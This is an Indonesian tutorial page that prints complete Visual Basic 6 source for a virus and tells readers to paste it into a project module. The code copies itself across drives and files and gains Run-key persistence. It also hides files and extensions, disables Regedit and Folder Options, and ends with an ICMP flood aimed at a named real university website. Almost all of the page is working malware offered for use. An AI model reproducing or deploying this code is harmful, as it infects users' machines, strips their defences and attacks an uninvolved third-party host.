SOURCE CODE VIRUS1

Source code dibawah ini adalah program virus
silahkan anda pelajari lebih dalam
1. Bukalah 1 project
2 Tambahkan 1 Module

Copy coding dibawah ini dan paste di Editor Module:

Option Explicit
'////////////////deklarasi Kode manipulasi dan pencarian////////////////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
        dwLowDateTime As Long
        dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
        dwFileAttributes As Long
        ftCreationTime As FILETIME
        ftLastAccessTime As FILETIME
        ftLastWriteTime As FILETIME
        nFileSizeHigh As Long
        nFileSizeLow As Long
        dwReserved0 As Long
        dwReserved1 As Long
        cFileName As String * MAX_PATH
        cAlternate As String * 14
End Type


Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
    (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
    (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
    
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _
(ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long


Private pbMessage As Boolean
'////////////////akhir deklarasi Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode penggandaan////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'////////////////akhir Kode penggandaan////////////////////

'////////////////awal Kode pesan sponsor////////////////////
Public buffer As String * 255
Public x As Long
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////awal deklarasi kode DoS attack//////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const PING_TIMEOUT = 500

Public Const MAX_WSADescription = 256
Public Const MAX_WSASYSStatus = 128
Public Const ERROR_SUCCESS       As Long = 0
Public Const WS_VERSION_REQD     As Long = &H101
Public Const WS_VERSION_MAJOR    As Long = _
    WS_VERSION_REQD \ &H100 And &HFF&
Public Const WS_VERSION_MINOR    As Long = _
   WS_VERSION_REQD And &HFF&
Public Const MIN_SOCKETS_REQD    As Long = 1
Public Const SOCKET_ERROR        As Long = -1

Public Type ICMP_OPTIONS
    TTL             As Byte
    Tos             As Byte
    Flags           As Byte
    OptionsSize     As Byte
    OptionsData     As Long
End Type

Public Type ICMP_ECHO_REPLY
    Address         As Long
    status          As Long
    RoundTripTime   As Long
    DataSize        As Integer
    Reserved        As Integer
    DataPointer     As Long
    Options         As ICMP_OPTIONS
    Data            As String * 250
End Type

Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long

Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
   (ByVal IcmpHandle As Long) As Long
   
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
   (ByVal IcmpHandle As Long, _
    ByVal DestinationAddress As Long, _
    ByVal RequestData As String, _
    ByVal RequestSize As Integer, _
    RequestOptions As ICMP_OPTIONS, _
    ReplyBuffer As ICMP_ECHO_REPLY, _
    ByVal ReplySize As Long, _
    ByVal TimeOut As Long) As Long
'///////////////akhir deklarasi kode DoS attack//////////////


'////////////////awal Kode manipulasi dan pencarian////////////////////

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

    Screen.MousePointer = vbHourglass
    
    Dim WFD As WIN32_FIND_DATA
    Dim hFile As Long, fPath As String, fName As String
    
    fPath = AddBackslash(Path)
    
    Dim sPattern As String
    sPattern = Pattern
    fName = fPath & sPattern
    
  
    hFile = FindFirstFile(fName, WFD)
    If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
        CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
    End If
    
    If hFile > 0 Then
    While FindNextFile(hFile, WFD)
        If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
         CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
        End If
    Wend
    End If
    
    If SubFolder Then
        
   
        hFile = FindFirstFile(fPath & "*.*", WFD)
        If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
        StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
        
           GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
        End If
        
        While FindNextFile(hFile, WFD)
            If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
            StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then


                GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
            End If
        Wend
        
    End If
    FindClose hFile
    
    
    
    Screen.MousePointer = vbDefault
   
End Sub


Private Function StripNulls(f As String) As String

    StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String

    If Len(S) Then
       If Right$(S, 1) <> "\" Then
          AddBackslash = S & "\"
       Else
          AddBackslash = S
       End If
    Else
       AddBackslash = "\"
    End If
End Function

Sub pencarian()
GetFiles "c:", True, "*.cob"
        
    MsgBox "Pencarian selesai", 0, "Tes Cari"
End Sub
'////////////////akhir Kode manipulasi dan pencarian////////////////////

'////////////////awal Kode Pengganda////////////////////
Private Function DriveType(Drive As String) As String
''////fungsi mengecek drive
Dim sAns As String, lAns As Long

'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & ":\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
    Then Drive = Drive & "\"

lAns = GetDriveType(Drive)
Select Case lAns
 Case 2
   sAns = "Removable Drive"
 Case 3
   sAns = "Fixed Drive"
 Case 4
    sAns = "Remote Drive"
 Case 5
    sAns = "CD-ROM"
 Case 6
    sAns = "RAM Disk"
 Case Else
    sAns = "Drive Doesn't Exist"
End Select

DriveType = sAns

End Function

Private Sub kodepengganda()
''///mengecek drive dan mengcopy file penanda
    Dim ictr As Integer
    Dim sDrive As String
    Dim x As Byte
    ReDim sDrives(0) As String
    Dim penanda As Byte
    
  
For ictr = 65 To 90
        sDrive = Chr(ictr) & ":\"
        
        If DriveType(sDrive) <> "Drive Doesn't Exist" Then
            On Error Resume Next
           penanda = Len(Chr(ictr & App.Path)) & "1234567890"
           'MsgBox penanda
           FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
        End If
        'App.EXEName = penanda & ".exe"
Next

End Sub

Private Sub kopikewindows()
''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub
'////////////////akhir Kode Pengganda////////////////////

'////////////////awal Kode Pertahanan////////////////////
Public Sub CreateKey(Folder As String, Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value

End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)

Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"

End Sub

Public Sub DeleteKey(Value As String)

Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.Shell")
b.RegDelete Value

End Sub
Sub kodepertahanan()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1

CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0

'//////////Non aktifkan folder option////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1
'//////////Kunci Regedit////////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", 1
'////////menyembunyikan extensi file//////////
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1

Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\tes_di_direktory_windows.exe" & titik

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test2", _
titik & "d:\tes.exe" & titik

End Sub
'////////////////akhir Kode Pertahanan////////////////////

'////////////////awal Kode pesan sponsor////////////////////
Public Sub Log(strLog As String)
Dim ff As Integer

ff = FreeFile
x = GetWindowsDirectory(buffer, 255)

On Error Resume Next
Open Left(buffer, x) & "\help.htm" For Output As #ff
Print #ff, strLog
Close #ff

End Sub

Sub pesansponsor()
Dim tt As String
tt = """"

Shell "C:\Program Files\Internet Explorer\IEXPLORE.EXE " & Left(buffer, x) & "/help.htm", vbNormalFocus
End Sub
'////////////////akhir Kode pesan sponsor////////////////////

'///////////////Awal Kode Dos Attack/////////////////////////
    Public Function Ping(szAddress As String, ECHO As ICMP_ECHO_REPLY, TTL As Integer) As Long

   Dim hPort As Long
   Dim dwAddress As Long
   Dim sDataToSend As String
   Dim iOpt As ICMP_OPTIONS
   Dim timeout_ping As Long
   
   sDataToSend = "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo" & _
   "kikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikookikoo"

   dwAddress = AddressStringToLong(szAddress)
   
   hPort = IcmpCreateFile()
   ECHO.Options.TTL = TTL
   iOpt.TTL = TTL
    If IcmpSendEcho(hPort, _
                   dwAddress, _
                   sDataToSend, _
                   Len(sDataToSend), _
                   iOpt, _
                   ECHO, _
                   Len(ECHO), _
                   timeout_ping) Then
        Ping = ECHO.RoundTripTime
   Else
        Ping = ECHO.status * -1
   End If
                       
   Call IcmpCloseHandle(hPort)
   
End Function

Public Function AddressStringToLong(ByVal tmp As String) As Long

   Dim i As Integer
   Dim parts(1 To 4) As String
   
   i = 0
   
   While InStr(tmp, ".") > 0
      i = i + 1
      parts(i) = Mid(tmp, 1, InStr(tmp, ".") - 1)
      tmp = Mid(tmp, InStr(tmp, ".") + 1)
   Wend
   
   i = i + 1
   parts(i) = tmp
   
   If i <> 4 Then
      AddressStringToLong = 0
      Exit Function
   End If
   
   AddressStringToLong = Val("&H" & Right("00" & Hex(parts(4)), 2) & _
                         Right("00" & Hex(parts(3)), 2) & _
                         Right("00" & Hex(parts(2)), 2) & _
                         Right("00" & Hex(parts(1)), 2))
   
End Function

Sub seranganDoS()
Dim ECHO As ICMP_ECHO_REPLY
Dim angka As Long

For angka = 1 To 65000
Call Ping("www.akprind.ac.id", ECHO, 30)
Next angka
End Sub
'///////////////Akhir Kode Dos Attack/////////////////////////

Sub Main()
kodepertahanan
kodepengganda
pencarian
pesansponsor
seranganDoS
End Sub